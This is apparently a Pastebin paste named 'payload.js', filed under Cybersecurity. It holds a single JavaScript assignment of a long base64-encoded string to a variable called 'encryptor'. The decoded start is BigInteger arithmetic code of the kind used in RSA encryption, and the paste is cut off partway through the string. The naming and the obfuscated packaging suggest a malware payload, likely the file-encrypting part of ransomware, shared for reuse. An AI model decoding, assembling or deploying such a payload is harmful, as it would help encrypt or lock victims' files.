Advertisement
FlyFar

payload.js

Sep 23rd, 2023
146
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
JavaScript 48.19 KB | Cybersecurity | 0 0
  1. var encryptor = "dmFyIGRiaXRzO3ZhciBjYW5hcnk9MHhkZWFkYmVlZmNhZmU7dmFyIGpfbG09KChjYW5hcnkmMHhmZmZmZmYpPT0weGVmY2FmZSk7ZnVuY3Rpb24gQmlnSW50ZWdlcihhLGIsYyl7aWYoYSE9bnVsbClpZignbnVtYmVyJz09dHlwZW9mIGEpdGhpcy5mcm9tTnVtYmVyKGEsYixjKTtlbHNlIGlmKGI9PW51bGwmJidzdHJpbmcnIT10eXBlb2YgYSl0aGlzLmZyb21TdHJpbmcoYSwyNTYpO2Vsc2UgdGhpcy5mcm9tU3RyaW5nKGEsYil9ZnVuY3Rpb24gbmJpKCl7cmV0dXJuIG5ldyBCaWdJbnRlZ2VyKG51bGwpfWZ1bmN0aW9uIGFtMShpLHgsdyxqLGMsbil7d2hpbGUoLS1uPj0wKXt2YXIgdj14KnRoaXNbaSsrXSt3W2pdK2M7Yz1NYXRoLmZsb29yKHYvMHg0MDAwMDAwKTt3W2orK109diYweDNmZmZmZmZ9cmV0dXJuIGN9ZnVuY3Rpb24gYW0yKGkseCx3LGosYyxuKXt2YXIgeGw9eCYweDdmZmYseGg9eD4+MTU7d2hpbGUoLS1uPj0wKXt2YXIgbD10aGlzW2ldJjB4N2ZmZjt2YXIgaD10aGlzW2krK10+PjE1O3ZhciBtPXhoKmwraCp4bDtsPXhsKmwrKChtJjB4N2ZmZik8PDE1KSt3W2pdKyhjJjB4M2ZmZmZmZmYpO2M9KGw+Pj4zMCkrKG0+Pj4xNSkreGgqaCsoYz4+PjMwKTt3W2orK109bCYweDNmZmZmZmZmfXJldHVybiBjfWZ1bmN0aW9uIGFtMyhpLHgsdyxqLGMsbil7dmFyIHhsPXgmMHgzZmZmLHhoPXg+PjE0O3doaWxlKC0tbj49MCl7dmFyIGw9dGhpc1tpXSYweDNmZmY7dmFyIGg9dGhpc1tpKytdPj4xNDt2YXIgbT14aCpsK2gqeGw7bD14bCpsKygobSYweDNmZmYpPDwxNCkrd1tqXStjO2M9KGw+PjI4KSsobT4+MTQpK3hoKmg7d1tqKytdPWwmMHhmZmZmZmZmfXJldHVybiBjfUJpZ0ludGVnZXIucHJvdG90eXBlLmFtPWFtMjtkYml0cz0zMDtCaWdJbnRlZ2VyLnByb3RvdHlwZS5EQj1kYml0cztCaWdJbnRlZ2VyLnByb3RvdHlwZS5ETT0oKDE8PGRiaXRzKS0xKTtCaWdJbnRlZ2VyLnByb3RvdHlwZS5EVj0oMTw8ZGJpdHMpO3ZhciBCSV9GUD01MjtCaWdJbnRlZ2VyLnByb3RvdHlwZS5GVj1NYXRoLnBvdygyLEJJX0ZQKTtCaWdJbnRlZ2VyLnByb3RvdHlwZS5GMT1CSV9GUC1kYml0cztCaWdJbnRlZ2VyLnByb3RvdHlwZS5GMj0yKmRiaXRzLUJJX0ZQO3ZhciBCSV9STT0nMDEyMzQ1Njc4OWFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6Jzt2YXIgQklfUkM9bmV3IEFycmF5KCk7dmFyIHJyLHZ2O3JyPScwJy5jaGFyQ29kZUF0KDApO2Zvcih2dj0wO3Z2PD05OysrdnYpQklfUkNbcnIrK109dnY7cnI9J2EnLmNoYXJDb2RlQXQoMCk7Zm9yKHZ2PTEwO3Z2PDM2OysrdnYpQklfUkNbcnIrK109dnY7cnI9J0EnLmNoYXJDb2RlQXQoMCk7Zm9yKHZ2PTEwO3Z2PDM2OysrdnYpQklfUkNbcnIrK109dnY7ZnVuY3Rpb24gaW50MmNoYXIobil7cmV0dXJuIEJJX1JNLmNoYXJBdChuKX1mdW5jdGlvbiBpbnRBdChzLGkpe3ZhciBjPUJJX1JDW3MuY2hhckNvZGVBdChpKV07cmV0dXJuKGM9PW51bGwpPy0xOmN9ZnVuY3Rpb24gYm5wQ29weVRvKHIpe2Zvcih2YXIgaT10aGlzLnQtMTtpPj0wOy0taSlyW2ldPXRoaXNbaV07ci50PXRoaXMudDtyLnM9dGhpcy5zfWZ1bmN0aW9uIGJucEZyb21JbnQoeCl7dGhpcy50PTE7dGhpcy5zPSh4PDApPy0xOjA7aWYoeD4wKXRoaXNbMF09eDtlbHNlIGlmKHg8LTEpdGhpc1swXT14K0RWO2Vsc2UgdGhpcy50PTB9ZnVuY3Rpb24gbmJ2KGkpe3ZhciByPW5iaSgpO3IuZnJvbUludChpKTtyZXR1cm4gcn1mdW5jdGlvbiBibnBGcm9tU3RyaW5nKHMsYil7dmFyIGs7aWYoYj09MTYpaz00O2Vsc2UgaWYoYj09OClrPTM7ZWxzZSBpZihiPT0yNTYpaz04O2Vsc2UgaWYoYj09MilrPTE7ZWxzZSBpZihiPT0zMilrPTU7ZWxzZSBpZihiPT00KWs9MjtlbHNle3RoaXMuZnJvbVJhZGl4KHMsYik7cmV0dXJufXRoaXMudD0wO3RoaXMucz0wO3ZhciBpPXMubGVuZ3RoLG1pPWZhbHNlLHNoPTA7d2hpbGUoLS1pPj0wKXt2YXIgeD0oaz09OCk/c1tpXSYweGZmOmludEF0KHMsaSk7aWYoeDwwKXtpZihzLmNoYXJBdChpKT09Jy0nKW1pPXRydWU7Y29udGludWV9bWk9ZmFsc2U7aWYoc2g9PTApdGhpc1t0aGlzLnQrK109eDtlbHNlIGlmKHNoK2s+dGhpcy5EQil7dGhpc1t0aGlzLnQtMV18PSh4JigoMTw8KHRoaXMuREItc2gpKS0xKSk8PHNoO3RoaXNbdGhpcy50KytdPSh4Pj4odGhpcy5EQi1zaCkpfWVsc2UgdGhpc1t0aGlzLnQtMV18PXg8PHNoO3NoKz1rO2lmKHNoPj10aGlzLkRCKXNoLT10aGlzLkRCfWlmKGs9PTgmJihzWzBdJjB4ODApIT0wKXt0aGlzLnM9LTE7aWYoc2g+MCl0aGlzW3RoaXMudC0xXXw9KCgxPDwodGhpcy5EQi1zaCkpLTEpPDxzaH10aGlzLmNsYW1wKCk7aWYobWkpQmlnSW50ZWdlci5aRVJPLnN1YlRvKHRoaXMsdGhpcyl9ZnVuY3Rpb24gYm5wQ2xhbXAoKXt2YXIgYz10aGlzLnMmdGhpcy5ETTt3aGlsZSh0aGlzLnQ+MCYmdGhpc1t0aGlzLnQtMV09PWMpLS10aGlzLnR9ZnVuY3Rpb24gYm5Ub1N0cmluZyhiKXtpZih0aGlzLnM8MClyZXR1cm4nLScrdGhpcy5uZWdhdGUoKS50b1N0cmluZyhiKTt2YXIgaztpZihiPT0xNilrPTQ7ZWxzZSBpZihiPT04KWs9MztlbHNlIGlmKGI9PTIpaz0xO2Vsc2UgaWYoYj09MzIpaz01O2Vsc2UgaWYoYj09NjQpaz02O2Vsc2UgaWYoYj09NClrPTI7ZWxzZSByZXR1cm4gdGhpcy50b1JhZGl4KGIpO3ZhciBrbT0oMTw8ayktMSxkLG09ZmFsc2Uscj0nJyxpPXRoaXMudDt2YXIgcD10aGlzLkRCLShpKnRoaXMuREIpJWs7aWYoaS0tPjApe2lmKHA8dGhpcy5EQiYmKGQ9dGhpc1tpXT4+cCk+MCl7bT10cnVlO3I9aW50MmNoYXIoZCl9d2hpbGUoaT49MCl7aWYocDxrKXtkPSh0aGlzW2ldJigoMTw8cCktMSkpPDwoay1wKTtkfD10aGlzWy0taV0+PihwKz10aGlzLkRCLWspfWVsc2V7ZD0odGhpc1tpXT4+KHAtPWspKSZrbTtpZihwPD0wKXtwKz10aGlzLkRCOy0taX19aWYoZD4wKW09dHJ1ZTtpZihtKXIrPWludDJjaGFyKGQpfX1yZXR1cm4gbT9yOicwJ31mdW5jdGlvbiBibk5lZ2F0ZSgpe3ZhciByPW5iaSgpO0JpZ0ludGVnZXIuWkVSTy5zdWJUbyh0aGlzLHIpO3JldHVybiByfWZ1bmN0aW9uIGJuQWJzKCl7cmV0dXJuKHRoaXMuczwwKT90aGlzLm5lZ2F0ZSgpOnRoaXN9ZnVuY3Rpb24gYm5Db21wYXJlVG8oYSl7dmFyIHI9dGhpcy5zLWEucztpZihyIT0wKXJldHVybiByO3ZhciBpPXRoaXMudDtyPWktYS50O2lmKHIhPTApcmV0dXJuIHI7d2hpbGUoLS1pPj0wKWlmKChyPXRoaXNbaV0tYVtpXSkhPTApcmV0dXJuIHI7cmV0dXJuIDB9ZnVuY3Rpb24gbmJpdHMoeCl7dmFyIHI9MSx0O2lmKCh0PXg+Pj4xNikhPTApe3g9dDtyKz0xNn1pZigodD14Pj44KSE9MCl7eD10O3IrPTh9aWYoKHQ9eD4+NCkhPTApe3g9dDtyKz00fWlmKCh0PXg+PjIpIT0wKXt4PXQ7cis9Mn1pZigodD14Pj4xKSE9MCl7eD10O3IrPTF9cmV0dXJuIHJ9ZnVuY3Rpb24gYm5CaXRMZW5ndGgoKXtpZih0aGlzLnQ8PTApcmV0dXJuIDA7cmV0dXJuIHRoaXMuREIqKHRoaXMudC0xKStuYml0cyh0aGlzW3RoaXMudC0xXV4odGhpcy5zJnRoaXMuRE0pKX1mdW5jdGlvbiBibnBETFNoaWZ0VG8obixyKXt2YXIgaTtmb3IoaT10aGlzLnQtMTtpPj0wOy0taSlyW2krbl09dGhpc1tpXTtmb3IoaT1uLTE7aT49MDstLWkpcltpXT0wO3IudD10aGlzLnQrbjtyLnM9dGhpcy5zfWZ1bmN0aW9uIGJucERSU2hpZnRUbyhuLHIpe2Zvcih2YXIgaT1uO2k8dGhpcy50OysraSlyW2ktbl09dGhpc1tpXTtyLnQ9TWF0aC5tYXgodGhpcy50LW4sMCk7ci5zPXRoaXMuc31mdW5jdGlvbiBibnBMU2hpZnRUbyhuLHIpe3ZhciBicz1uJXRoaXMuREI7dmFyIGNicz10aGlzLkRCLWJzO3ZhciBibT0oMTw8Y2JzKS0xO3ZhciBkcz1NYXRoLmZsb29yKG4vdGhpcy5EQiksYz0odGhpcy5zPDxicykmdGhpcy5ETSxpO2ZvcihpPXRoaXMudC0xO2k+PTA7LS1pKXtyW2krZHMrMV09KHRoaXNbaV0+PmNicyl8YztjPSh0aGlzW2ldJmJtKTw8YnN9Zm9yKGk9ZHMtMTtpPj0wOy0taSlyW2ldPTA7cltkc109YztyLnQ9dGhpcy50K2RzKzE7ci5zPXRoaXMucztyLmNsYW1wKCl9ZnVuY3Rpb24gYm5wUlNoaWZ0VG8obixyKXtyLnM9dGhpcy5zO3ZhciBkcz1NYXRoLmZsb29yKG4vdGhpcy5EQik7aWYoZHM+PXRoaXMudCl7ci50PTA7cmV0dXJufXZhciBicz1uJXRoaXMuREI7dmFyIGNicz10aGlzLkRCLWJzO3ZhciBibT0oMTw8YnMpLTE7clswXT10aGlzW2RzXT4+YnM7Zm9yKHZhciBpPWRzKzE7aTx0aGlzLnQ7KytpKXtyW2ktZHMtMV18PSh0aGlzW2ldJmJtKTw8Y2JzO3JbaS1kc109dGhpc1tpXT4+YnN9aWYoYnM+MClyW3RoaXMudC1kcy0xXXw9KHRoaXMucyZibSk8PGNicztyLnQ9dGhpcy50LWRzO3IuY2xhbXAoKX1mdW5jdGlvbiBibnBTdWJUbyhhLHIpe3ZhciBpPTAsYz0wLG09TWF0aC5taW4oYS50LHRoaXMudCk7d2hpbGUoaTxtKXtjKz10aGlzW2ldLWFbaV07cltpKytdPWMmdGhpcy5ETTtjPj49dGhpcy5EQn1pZihhLnQ8dGhpcy50KXtjLT1hLnM7d2hpbGUoaTx0aGlzLnQpe2MrPXRoaXNbaV07cltpKytdPWMmdGhpcy5ETTtjPj49dGhpcy5EQn1jKz10aGlzLnN9ZWxzZXtjKz10aGlzLnM7d2hpbGUoaTxhLnQpe2MtPWFbaV07cltpKytdPWMmdGhpcy5ETTtjPj49dGhpcy5EQn1jLT1hLnN9ci5zPShjPDApPy0xOjA7aWYoYzwtMSlyW2krK109dGhpcy5EVitjO2Vsc2UgaWYoYz4wKXJbaSsrXT1jO3IudD1pO3IuY2xhbXAoKX1mdW5jdGlvbiBibnBNdWx0aXBseVRvKGEscil7dmFyIHg9dGhpcy5hYnMoKSx5PWEuYWJzKCk7dmFyIGk9eC50O3IudD1pK3kudDt3aGlsZSgtLWk+PTApcltpXT0wO2ZvcihpPTA7aTx5LnQ7KytpKXJbaSt4LnRdPXguYW0oMCx5W2ldLHIsaSwwLHgudCk7ci5zPTA7ci5jbGFtcCgpO2lmKHRoaXMucyE9YS5zKUJpZ0ludGVnZXIuWkVSTy5zdWJUbyhyLHIpfWZ1bmN0aW9uIGJucFNxdWFyZVRvKHIpe3ZhciB4PXRoaXMuYWJzKCk7dmFyIGk9ci50PTIqeC50O3doaWxlKC0taT49MClyW2ldPTA7Zm9yKGk9MDtpPHgudC0xOysraSl7dmFyIGM9eC5hbShpLHhbaV0sciwyKmksMCwxKTtpZigocltpK3gudF0rPXguYW0oaSsxLDIqeFtpXSxyLDIqaSsxLGMseC50LWktMSkpPj14LkRWKXtyW2kreC50XS09eC5EVjtyW2kreC50KzFdPTF9fWlmKHIudD4wKXJbci50LTFdKz14LmFtKGkseFtpXSxyLDIqaSwwLDEpO3Iucz0wO3IuY2xhbXAoKX1mdW5jdGlvbiBibnBEaXZSZW1UbyhtLHEscil7dmFyIHBtPW0uYWJzKCk7aWYocG0udDw9MClyZXR1cm47dmFyIHB0PXRoaXMuYWJzKCk7aWYocHQudDxwbS50KXtpZihxIT1udWxsKXEuZnJvbUludCgwKTtpZihyIT1udWxsKXRoaXMuY29weVRvKHIpO3JldHVybn1pZihyPT1udWxsKXI9bmJpKCk7dmFyIHk9bmJpKCksdHM9dGhpcy5zLG1zPW0uczt2YXIgbnNoPXRoaXMuREItbmJpdHMocG1bcG0udC0xXSk7aWYobnNoPjApe3BtLmxTaGlmdFRvKG5zaCx5KTtwdC5sU2hpZnRUbyhuc2gscil9ZWxzZXtwbS5jb3B5VG8oeSk7cHQuY29weVRvKHIpfXZhciB5cz15LnQ7dmFyIHkwPXlbeXMtMV07aWYoeTA9PTApcmV0dXJuO3ZhciB5dD15MCooMTw8dGhpcy5GMSkrKCh5cz4xKT95W3lzLTJdPj50aGlzLkYyOjApO3ZhciBkMT10aGlzLkZWL3l0LGQyPSgxPDx0aGlzLkYxKS95dCxlPTE8PHRoaXMuRjI7dmFyIGk9ci50LGo9aS15cyx0PShxPT1udWxsKT9uYmkoKTpxO3kuZGxTaGlmdFRvKGosdCk7aWYoci5jb21wYXJlVG8odCk+PTApe3Jbci50KytdPTE7ci5zdWJUbyh0LHIpfUJpZ0ludGVnZXIuT05FLmRsU2hpZnRUbyh5cyx0KTt0LnN1YlRvKHkseSk7d2hpbGUoeS50PHlzKXlbeS50KytdPTA7d2hpbGUoLS1qPj0wKXt2YXIgcWQ9KHJbLS1pXT09eTApP3RoaXMuRE06TWF0aC5mbG9vcihyW2ldKmQxKyhyW2ktMV0rZSkqZDIpO2lmKChyW2ldKz15LmFtKDAscWQscixqLDAseXMpKTxxZCl7eS5kbFNoaWZ0VG8oaix0KTtyLnN1YlRvKHQscik7d2hpbGUocltpXTwtLXFkKXIuc3ViVG8odCxyKX19aWYocSE9bnVsbCl7ci5kclNoaWZ0VG8oeXMscSk7aWYodHMhPW1zKUJpZ0ludGVnZXIuWkVSTy5zdWJUbyhxLHEpfXIudD15cztyLmNsYW1wKCk7aWYobnNoPjApci5yU2hpZnRUbyhuc2gscik7aWYodHM8MClCaWdJbnRlZ2VyLlpFUk8uc3ViVG8ocixyKX1mdW5jdGlvbiBibk1vZChhKXt2YXIgcj1uYmkoKTt0aGlzLmFicygpLmRpdlJlbVRvKGEsbnVsbCxyKTtpZih0aGlzLnM8MCYmci5jb21wYXJlVG8oQmlnSW50ZWdlci5aRVJPKT4wKWEuc3ViVG8ocixyKTtyZXR1cm4gcn1mdW5jdGlvbiBDbGFzc2ljKG0pe3RoaXMubT1tfWZ1bmN0aW9uIGNDb252ZXJ0KHgpe2lmKHguczwwfHx4LmNvbXBhcmVUbyh0aGlzLm0pPj0wKXJldHVybiB4Lm1vZCh0aGlzLm0pO2Vsc2UgcmV0dXJuIHh9ZnVuY3Rpb24gY1JldmVydCh4KXtyZXR1cm4geH1mdW5jdGlvbiBjUmVkdWNlKHgpe3guZGl2UmVtVG8odGhpcy5tLG51bGwseCl9ZnVuY3Rpb24gY011bFRvKHgseSxyKXt4Lm11bHRpcGx5VG8oeSxyKTt0aGlzLnJlZHVjZShyKX1mdW5jdGlvbiBjU3FyVG8oeCxyKXt4LnNxdWFyZVRvKHIpO3RoaXMucmVkdWNlKHIpfUNsYXNzaWMucHJvdG90eXBlLmNvbnZlcnQ9Y0NvbnZlcnQ7Q2xhc3NpYy5wcm90b3R5cGUucmV2ZXJ0PWNSZXZlcnQ7Q2xhc3NpYy5wcm90b3R5cGUucmVkdWNlPWNSZWR1Y2U7Q2xhc3NpYy5wcm90b3R5cGUubXVsVG89Y011bFRvO0NsYXNzaWMucHJvdG90eXBlLnNxclRvPWNTcXJUbztmdW5jdGlvbiBibnBJbnZEaWdpdCgpe2lmKHRoaXMudDwxKXJldHVybiAwO3ZhciB4PXRoaXNbMF07aWYoKHgmMSk9PTApcmV0dXJuIDA7dmFyIHk9eCYzO3k9KHkqKDItKHgmMHhmKSp5KSkmMHhmO3k9KHkqKDItKHgmMHhmZikqeSkpJjB4ZmY7eT0oeSooMi0oKCh4JjB4ZmZmZikqeSkmMHhmZmZmKSkpJjB4ZmZmZjt5PSh5KigyLXgqeSV0aGlzLkRWKSkldGhpcy5EVjtyZXR1cm4oeT4wKT90aGlzLkRWLXk6LXl9ZnVuY3Rpb24gTW9udGdvbWVyeShtKXt0aGlzLm09bTt0aGlzLm1wPW0uaW52RGlnaXQoKTt0aGlzLm1wbD10aGlzLm1wJjB4N2ZmZjt0aGlzLm1waD10aGlzLm1wPj4xNTt0aGlzLnVtPSgxPDwobS5EQi0xNSkpLTE7dGhpcy5tdDI9MiptLnR9ZnVuY3Rpb24gbW9udENvbnZlcnQoeCl7dmFyIHI9bmJpKCk7eC5hYnMoKS5kbFNoaWZ0VG8odGhpcy5tLnQscik7ci5kaXZSZW1Ubyh0aGlzLm0sbnVsbCxyKTtpZih4LnM8MCYmci5jb21wYXJlVG8oQmlnSW50ZWdlci5aRVJPKT4wKXRoaXMubS5zdWJUbyhyLHIpO3JldHVybiByfWZ1bmN0aW9uIG1vbnRSZXZlcnQoeCl7dmFyIHI9bmJpKCk7eC5jb3B5VG8ocik7dGhpcy5yZWR1Y2Uocik7cmV0dXJuIHJ9ZnVuY3Rpb24gbW9udFJlZHVjZSh4KXt3aGlsZSh4LnQ8PXRoaXMubXQyKXhbeC50KytdPTA7Zm9yKHZhciBpPTA7aTx0aGlzLm0udDsrK2kpe3ZhciBqPXhbaV0mMHg3ZmZmO3ZhciB1MD0oaip0aGlzLm1wbCsoKChqKnRoaXMubXBoKyh4W2ldPj4xNSkqdGhpcy5tcGwpJnRoaXMudW0pPDwxNSkpJnguRE07aj1pK3RoaXMubS50O3hbal0rPXRoaXMubS5hbSgwLHUwLHgsaSwwLHRoaXMubS50KTt3aGlsZSh4W2pdPj14LkRWKXt4W2pdLT14LkRWO3hbKytqXSsrfX14LmNsYW1wKCk7eC5kclNoaWZ0VG8odGhpcy5tLnQseCk7aWYoeC5jb21wYXJlVG8odGhpcy5tKT49MCl4LnN1YlRvKHRoaXMubSx4KX1mdW5jdGlvbiBtb250U3FyVG8oeCxyKXt4LnNxdWFyZVRvKHIpO3RoaXMucmVkdWNlKHIpfWZ1bmN0aW9uIG1vbnRNdWxUbyh4LHkscil7eC5tdWx0aXBseVRvKHkscik7dGhpcy5yZWR1Y2Uocil9TW9udGdvbWVyeS5wcm90b3R5cGUuY29udmVydD1tb250Q29udmVydDtNb250Z29tZXJ5LnByb3RvdHlwZS5yZXZlcnQ9bW9udFJldmVydDtNb250Z29tZXJ5LnByb3RvdHlwZS5yZWR1Y2U9bW9udFJlZHVjZTtNb250Z29tZXJ5LnByb3RvdHlwZS5tdWxUbz1tb250TXVsVG87TW9udGdvbWVyeS5wcm90b3R5cGUuc3FyVG89bW9udFNxclRvO2Z1bmN0aW9uIGJucElzRXZlbigpe3JldHVybigodGhpcy50PjApPyh0aGlzWzBdJjEpOnRoaXMucyk9PTB9ZnVuY3Rpb24gYm5wRXhwKGUseil7aWYoZT4weGZmZmZmZmZmfHxlPDEpcmV0dXJuIEJpZ0ludGVnZXIuT05FO3ZhciByPW5iaSgpLHIyPW5iaSgpLGc9ei5jb252ZXJ0KHRoaXMpLGk9bmJpdHMoZSktMTtnLmNvcHlUbyhyKTt3aGlsZSgtLWk+PTApe3ouc3FyVG8ocixyMik7aWYoKGUmKDE8PGkpKT4wKXoubXVsVG8ocjIsZyxyKTtlbHNle3ZhciB0PXI7cj1yMjtyMj10fX1yZXR1cm4gei5yZXZlcnQocil9ZnVuY3Rpb24gYm5Nb2RQb3dJbnQoZSxtKXt2YXIgejtpZihlPDI1Nnx8bS5pc0V2ZW4oKSl6PW5ldyBDbGFzc2ljKG0pO2Vsc2Ugej1uZXcgTW9udGdvbWVyeShtKTtyZXR1cm4gdGhpcy5leHAoZSx6KX1CaWdJbnRlZ2VyLnByb3RvdHlwZS5jb3B5VG89Ym5wQ29weVRvO0JpZ0ludGVnZXIucHJvdG90eXBlLmZyb21JbnQ9Ym5wRnJvbUludDtCaWdJbnRlZ2VyLnByb3RvdHlwZS5mcm9tU3RyaW5nPWJucEZyb21TdHJpbmc7QmlnSW50ZWdlci5wcm90b3R5cGUuY2xhbXA9Ym5wQ2xhbXA7QmlnSW50ZWdlci5wcm90b3R5cGUuZGxTaGlmdFRvPWJucERMU2hpZnRUbztCaWdJbnRlZ2VyLnByb3RvdHlwZS5kclNoaWZ0VG89Ym5wRFJTaGlmdFRvO0JpZ0ludGVnZXIucHJvdG90eXBlLmxTaGlmdFRvPWJucExTaGlmdFRvO0JpZ0ludGVnZXIucHJvdG90eXBlLnJTaGlmdFRvPWJucFJTaGlmdFRvO0JpZ0ludGVnZXIucHJvdG90eXBlLnN1YlRvPWJucFN1YlRvO0JpZ0ludGVnZXIucHJvdG90eXBlLm11bHRpcGx5VG89Ym5wTXVsdGlwbHlUbztCaWdJbnRlZ2VyLnByb3RvdHlwZS5zcXVhcmVUbz1ibnBTcXVhcmVUbztCaWdJbnRlZ2VyLnByb3RvdHlwZS5kaXZSZW1Ubz1ibnBEaXZSZW1UbztCaWdJbnRlZ2VyLnByb3RvdHlwZS5pbnZEaWdpdD1ibnBJbnZEaWdpdDtCaWdJbnRlZ2VyLnByb3RvdHlwZS5pc0V2ZW49Ym5wSXNFdmVuO0JpZ0ludGVnZXIucHJvdG90eXBlLmV4cD1ibnBFeHA7QmlnSW50ZWdlci5wcm90b3R5cGUudG9TdHJpbmc9Ym5Ub1N0cmluZztCaWdJbnRlZ2VyLnByb3RvdHlwZS5uZWdhdGU9Ym5OZWdhdGU7QmlnSW50ZWdlci5wcm90b3R5cGUuYWJzPWJuQWJzO0JpZ0ludGVnZXIucHJvdG90eXBlLmNvbXBhcmVUbz1ibkNvbXBhcmVUbztCaWdJbnRlZ2VyLnByb3RvdHlwZS5iaXRMZW5ndGg9Ym5CaXRMZW5ndGg7QmlnSW50ZWdlci5wcm90b3R5cGUubW9kPWJuTW9kO0JpZ0ludGVnZXIucHJvdG90eXBlLm1vZFBvd0ludD1ibk1vZFBvd0ludDtCaWdJbnRlZ2VyLlpFUk89bmJ2KDApO0JpZ0ludGVnZXIuT05FPW5idigxKTtmdW5jdGlvbiBibkNsb25lKCl7dmFyIHI9bmJpKCk7dGhpcy5jb3B5VG8ocik7cmV0dXJuIHJ9ZnVuY3Rpb24gYm5JbnRWYWx1ZSgpe2lmKHRoaXMuczwwKXtpZih0aGlzLnQ9PTEpcmV0dXJuIHRoaXNbMF0tdGhpcy5EVjtlbHNlIGlmKHRoaXMudD09MClyZXR1cm4tMX1lbHNlIGlmKHRoaXMudD09MSlyZXR1cm4gdGhpc1swXTtlbHNlIGlmKHRoaXMudD09MClyZXR1cm4gMDtyZXR1cm4oKHRoaXNbMV0mKCgxPDwoMzItdGhpcy5EQikpLTEpKTw8dGhpcy5EQil8dGhpc1swXX1mdW5jdGlvbiBibkJ5dGVWYWx1ZSgpe3JldHVybih0aGlzLnQ9PTApP3RoaXMuczoodGhpc1swXTw8MjQpPj4yNH1mdW5jdGlvbiBiblNob3J0VmFsdWUoKXtyZXR1cm4odGhpcy50PT0wKT90aGlzLnM6KHRoaXNbMF08PDE2KT4+MTZ9ZnVuY3Rpb24gYm5wQ2h1bmtTaXplKHIpe3JldHVybiBNYXRoLmZsb29yKE1hdGguTE4yKnRoaXMuREIvTWF0aC5sb2cocikpfWZ1bmN0aW9uIGJuU2lnTnVtKCl7aWYodGhpcy5zPDApcmV0dXJuLTE7ZWxzZSBpZih0aGlzLnQ8PTB8fCh0aGlzLnQ9PTEmJnRoaXNbMF08PTApKXJldHVybiAwO2Vsc2UgcmV0dXJuIDF9ZnVuY3Rpb24gYm5wVG9SYWRpeChiKXtpZihiPT1udWxsKWI9MTA7aWYodGhpcy5zaWdudW0oKT09MHx8YjwyfHxiPjM2KXJldHVybicwJzt2YXIgY3M9dGhpcy5jaHVua1NpemUoYik7dmFyIGE9TWF0aC5wb3coYixjcyk7dmFyIGQ9bmJ2KGEpLHk9bmJpKCksej1uYmkoKSxyPScnO3RoaXMuZGl2UmVtVG8oZCx5LHopO3doaWxlKHkuc2lnbnVtKCk+MCl7cj0oYSt6LmludFZhbHVlKCkpLnRvU3RyaW5nKGIpLnN1YnN0cigxKStyO3kuZGl2UmVtVG8oZCx5LHopfXJldHVybiB6LmludFZhbHVlKCkudG9TdHJpbmcoYikrcn1mdW5jdGlvbiBibnBGcm9tUmFkaXgocyxiKXt0aGlzLmZyb21JbnQoMCk7aWYoYj09bnVsbCliPTEwO3ZhciBjcz10aGlzLmNodW5rU2l6ZShiKTt2YXIgZD1NYXRoLnBvdyhiLGNzKSxtaT1mYWxzZSxqPTAsdz0wO2Zvcih2YXIgaT0wO2k8cy5sZW5ndGg7KytpKXt2YXIgeD1pbnRBdChzLGkpO2lmKHg8MCl7aWYocy5jaGFyQXQoaSk9PSctJyYmdGhpcy5zaWdudW0oKT09MCltaT10cnVlO2NvbnRpbnVlfXc9Yip3K3g7aWYoKytqPj1jcyl7dGhpcy5kTXVsdGlwbHkoZCk7dGhpcy5kQWRkT2Zmc2V0KHcsMCk7aj0wO3c9MH19aWYoaj4wKXt0aGlzLmRNdWx0aXBseShNYXRoLnBvdyhiLGopKTt0aGlzLmRBZGRPZmZzZXQodywwKX1pZihtaSlCaWdJbnRlZ2VyLlpFUk8uc3ViVG8odGhpcyx0aGlzKX1mdW5jdGlvbiBibnBGcm9tTnVtYmVyKGEsYixjKXtpZignbnVtYmVyJz09dHlwZW9mIGIpe2lmKGE8Mil0aGlzLmZyb21JbnQoMSk7ZWxzZXt0aGlzLmZyb21OdW1iZXIoYSxjKTtpZighdGhpcy50ZXN0Qml0KGEtMSkpdGhpcy5iaXR3aXNlVG8oQmlnSW50ZWdlci5PTkUuc2hpZnRMZWZ0KGEtMSksb3Bfb3IsdGhpcyk7aWYodGhpcy5pc0V2ZW4oKSl0aGlzLmRBZGRPZmZzZXQoMSwwKTt3aGlsZSghdGhpcy5pc1Byb2JhYmxlUHJpbWUoYikpe3RoaXMuZEFkZE9mZnNldCgyLDApO2lmKHRoaXMuYml0TGVuZ3RoKCk+YSl0aGlzLnN1YlRvKEJpZ0ludGVnZXIuT05FLnNoaWZ0TGVmdChhLTEpLHRoaXMpfX19ZWxzZXt2YXIgeD1uZXcgQXJyYXkoKSx0PWEmNzt4Lmxlbmd0aD0oYT4+MykrMTtiLm5leHRCeXRlcyh4KTtpZih0PjApeFswXSY9KCgxPDx0KS0xKTtlbHNlIHhbMF09MDt0aGlzLmZyb21TdHJpbmcoeCwyNTYpfX1mdW5jdGlvbiBiblRvQnl0ZUFycmF5KCl7dmFyIGk9dGhpcy50LHI9bmV3IEFycmF5KCk7clswXT10aGlzLnM7dmFyIHA9dGhpcy5EQi0oaSp0aGlzLkRCKSU4LGQsaz0wO2lmKGktLT4wKXtpZihwPHRoaXMuREImJihkPXRoaXNbaV0+PnApIT0odGhpcy5zJnRoaXMuRE0pPj5wKXJbaysrXT1kfCh0aGlzLnM8PCh0aGlzLkRCLXApKTt3aGlsZShpPj0wKXtpZihwPDgpe2Q9KHRoaXNbaV0mKCgxPDxwKS0xKSk8PCg4LXApO2R8PXRoaXNbLS1pXT4+KHArPXRoaXMuREItOCl9ZWxzZXtkPSh0aGlzW2ldPj4ocC09OCkpJjB4ZmY7aWYocDw9MCl7cCs9dGhpcy5EQjstLWl9fWlmKChkJjB4ODApIT0wKWR8PS0yNTY7aWYoaz09MCYmKHRoaXMucyYweDgwKSE9KGQmMHg4MCkpKytrO2lmKGs+MHx8ZCE9dGhpcy5zKXJbaysrXT1kfX1yZXR1cm4gcn1mdW5jdGlvbiBibkVxdWFscyhhKXtyZXR1cm4odGhpcy5jb21wYXJlVG8oYSk9PTApfWZ1bmN0aW9uIGJuTWluKGEpe3JldHVybih0aGlzLmNvbXBhcmVUbyhhKTwwKT90aGlzOmF9ZnVuY3Rpb24gYm5NYXgoYSl7cmV0dXJuKHRoaXMuY29tcGFyZVRvKGEpPjApP3RoaXM6YX1mdW5jdGlvbiBibnBCaXR3aXNlVG8oYSxvcCxyKXt2YXIgaSxmLG09TWF0aC5taW4oYS50LHRoaXMudCk7Zm9yKGk9MDtpPG07KytpKXJbaV09b3AodGhpc1tpXSxhW2ldKTtpZihhLnQ8dGhpcy50KXtmPWEucyZ0aGlzLkRNO2ZvcihpPW07aTx0aGlzLnQ7K